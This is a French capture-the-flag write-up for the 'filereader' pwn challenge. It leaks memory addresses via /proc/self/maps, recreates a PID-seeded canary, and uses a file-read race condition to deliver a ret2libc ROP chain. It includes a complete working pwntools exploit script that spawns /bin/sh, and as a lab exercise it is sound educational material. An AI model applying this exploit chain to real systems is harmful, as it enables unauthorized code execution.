Filereader Writeup

Tl;dr

Binaire en x64, PIE,ASLR activé, Stack Canary. On bypass toutes ces protections via la lecture de /proc/self/maps Et on réécrit la fin du fichier en train d’être lu par l’éxecutable via une Race Condition.

Analyse du binaire

On commence par un petit coup de scp pour le récupérer en local.

scp -P 4001 user0@challenges.ecsc-teamfrance.fr:* .

On récupère notre binaire et on fait un checksec pour voir les protections actives.

➜  filereader checksec --file filereader
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable  FILE
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   85 Symbols     No	0		4	filereader

PIE,ASLR d’activé c’est la fête :). Va falloir trouver un moyen de leak ( on pouvait s’y attendre pour un pwn à 1000 pts ).

On ouvre IDA pour l’analyser un peu plus.

On a 2 fonctions principales:

On a également stackPush et stackPop qui vont agire comme un canary, cependant le canary est prédictible car il est généré à partir d’un rand dont la seed est le PID.

On a également un Stack overflow de possible lors de la lecture de notre ligne par fscanf.

Premiere étape : le leak

On va partir sur une Ret2Libc mais pour ça nous avons besoin d’un leak.

Notre binaire accepte de lire les fichiers et de nous afficher leur sortie. Il existe un fichier qui permet de voir le mappage des adresses en mémoire lors de l’éxecution d’un binaire : /proc/self/maps

Example :

➜  filereader cat /proc/self/maps
55a003a83000-55a003a85000 r--p 00000000 103:02 29360526                  /usr/bin/cat
55a003a85000-55a003a89000 r-xp 00002000 103:02 29360526                  /usr/bin/cat
55a003a89000-55a003a8b000 r--p 00006000 103:02 29360526                  /usr/bin/cat
55a003a8c000-55a003a8d000 r--p 00008000 103:02 29360526                  /usr/bin/cat
55a003a8d000-55a003a8e000 rw-p 00009000 103:02 29360526                  /usr/bin/cat
55a0051ff000-55a005220000 rw-p 00000000 00:00 0                          [heap]
7fb61328f000-7fb613575000 r--p 00000000 103:02 29376626                  /usr/lib/locale/locale-archive
7fb613575000-7fb613597000 r--p 00000000 103:02 29368614                  /usr/lib/libc-2.29.so
7fb613597000-7fb6136e3000 r-xp 00022000 103:02 29368614                  /usr/lib/libc-2.29.so
7fb6136e3000-7fb61372f000 r--p 0016e000 103:02 29368614                  /usr/lib/libc-2.29.so
7fb61372f000-7fb613730000 ---p 001ba000 103:02 29368614                  /usr/lib/libc-2.29.so
7fb613730000-7fb613734000 r--p 001ba000 103:02 29368614                  /usr/lib/libc-2.29.so
7fb613734000-7fb613736000 rw-p 001be000 103:02 29368614                  /usr/lib/libc-2.29.so
7fb613736000-7fb61373c000 rw-p 00000000 00:00 0 
7fb613761000-7fb613783000 rw-p 00000000 00:00 0 
7fb613783000-7fb613785000 r--p 00000000 103:02 29368601                  /usr/lib/ld-2.29.so
7fb613785000-7fb6137a4000 r-xp 00002000 103:02 29368601                  /usr/lib/ld-2.29.so
7fb6137a4000-7fb6137ac000 r--p 00021000 103:02 29368601                  /usr/lib/ld-2.29.so
7fb6137ad000-7fb6137ae000 r--p 00029000 103:02 29368601                  /usr/lib/ld-2.29.so
7fb6137ae000-7fb6137af000 rw-p 0002a000 103:02 29368601                  /usr/lib/ld-2.29.so
7fb6137af000-7fb6137b0000 rw-p 00000000 00:00 0 
7ffe07f9d000-7ffe07fbe000 rw-p 00000000 00:00 0                          [stack]
7ffe07fcc000-7ffe07fcf000 r--p 00000000 00:00 0                          [vvar]
7ffe07fcf000-7ffe07fd0000 r-xp 00000000 00:00 0                          [vdso]

On va donc se servir de ça pour lire les adresses des différentes section mappées en mémoire. Je me suis également servi de /proc/self/stat pour lire le PID.

Avec le code suivant on peut lire les adresses :

from pwn import *


f = open("a","w")
f.write("a"*10000000)
f.close()

# File containing all file to read
f = open("./exploit","w")
f.write("/proc/self/maps\n/proc/self/stat\n")
f.write("a\n" *20)
f.close()

p = process(["filereader","./exploit"])

# Receiving maps
p.recvuntil("maps'")
maps = p.recvuntil("Attempting").replace("\nAttempting","").split("\n")

# Receiving stat
p.recvuntil("stat'")
stat = p.recvuntil("Attempting").replace("\nAttempting","")

libc_base = 0
pie_base  = 0

for i in maps:
    if("filereader" in i):
        pie_base = int("0x" +i.split("-")[0],16)
        log.success("pie_base = " + hex(pie_base))
        break

for i in maps:
    if("libc" in i):
        libc_base = int(i.split("-")[0].strip(),16)
        log.success("libc_base = " + hex(libc_base))
        break

Seconde étape: ret2libc

Maintenant qu’on a l’adresse de base la libc et de notre binaire en mémoire, il nous suffit de trouver les gadgets nécessaires.

Pour faire une Ret2Libc en x64, il faut overflow de la façon suivante :

Il nous faut donc un gagdet pop rdi;ret et les offset de "/bin/sh" et system dans la libc.

Pour le gadget un RopGadget sur le binaire est suffisant pour trouver celui qui nous intéresse.

➜  filereader ROPgadget --binary filereader | grep "pop rdi ; ret"
0x0000000000000da3 : pop rdi ; ret

Pour les adresses qui m’intéresse dans la libc, je me sers de pwntools :


libc = ELF("/usr/lib/libc-2.29.so")
system_offset = libc.symbols["system"]
binsh_offset = next(libc.search("/bin/sh"))
pop_rdi_ret = 0x0000000000000da3

rop = "A" * padding
rop += p32(canary)
rop += p64(0xdeadbeaf)  # junk
rop += p64(pop_rdi_ret) 
rop += p64(binsh_addr) 
rop += p64(system_addr) 

Vous avez pu voir l’utilisation du canary, il faut pour cela le générer, ça arrive en Step3

Troisième étape : génération du canary

Pour générer son canary le binaire effectue les opérations suivantes :

srand(pid);
int canary = rand()

On a juste à reproduire ces opérations en python en se servant des Ctypes pour avoir la même fonction de rand() :

from ctypes import cdll
from ctypes.util import find_library

random = cdll.LoadLibrary(find_library('c'))
random.srand(pid)
canary = random.rand()

Exploitation

Il ne reste plus qu’a réussir à overflow aprés avoir fait tout ça.

Heureusement le binaire peut lire autant de fichier que l’on veut, donc si on arrive à générer notre ROP assez rapidement, on peut l’écrire à la fin du fichier avant qu’il ai fini de tous les lire.

Script final

#!/usr/bin/python2
# coding: utf8
from pwn import *
from ctypes import cdll
from ctypes.util import find_library
import sys

# Creation d'un fichier de junk pour que le programme prenne du temps
f = open("a","w")
f.write("a"*10000000)
f.close()

# Ecriture du fichier liste initial
f = open("./exploit","w")
f.write("/proc/self/maps\n/proc/self/stat\n")
f.write("a\n" *20)
f.close()

libc = ELF("/lib/x86_64-linux-gnu/libc-2.24.so")
system_offset = libc.symbols["system"]
binsh_offset = next(libc.search("/bin/sh"))

p = process(["/home/user0/filereader","./exploit"])

# Lecture des addresses
p.recvuntil("maps'")
maps = p.recvuntil("Attempting").replace("\nAttempting","").split("\n")
p.recvuntil("stat'")

# Lecture du PID
stat = p.recvuntil("Attempting").replace("\nAttempting","")
pid = int(stat.split(" ")[0].strip())
log.success("pid = " + str(pid))


# Génération du stack canary
random = cdll.LoadLibrary(find_library('c'))
random.srand(pid)
canary = random.rand() 

# Parsing du /proc/self/maps
libc_base = 0
pie_base  = 0
f = open("./exploit","a")
for i in maps:
    if("filereader" in i):
        pie_base = int("0x" +i.split("-")[0],16)
        log.success("pie_base = " + hex(pie_base))
        break
for i in maps:
    if("libc" in i):
        libc_base = int(i.split("-")[0].strip(),16)
        log.success("libc_base = " + hex(libc_base))
        break

# Calcul des addresses
pop_rdi_ret = pie_base + 0x0000000000000da3
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

log.success("binsh_addr = " + hex(binsh_addr))
log.success("system_addr = " + hex(system_addr))

# Ecriture de notre payload
rop = "A"*0x104 + p32(canary) + p64(0xdeadbeaf) 
rop += p64(pop_rdi_ret) 
rop += p64(binsh_addr) 
rop += p64(system_addr)
f.write( rop )

f.close()
p.interactive()
p.close()

@Areizen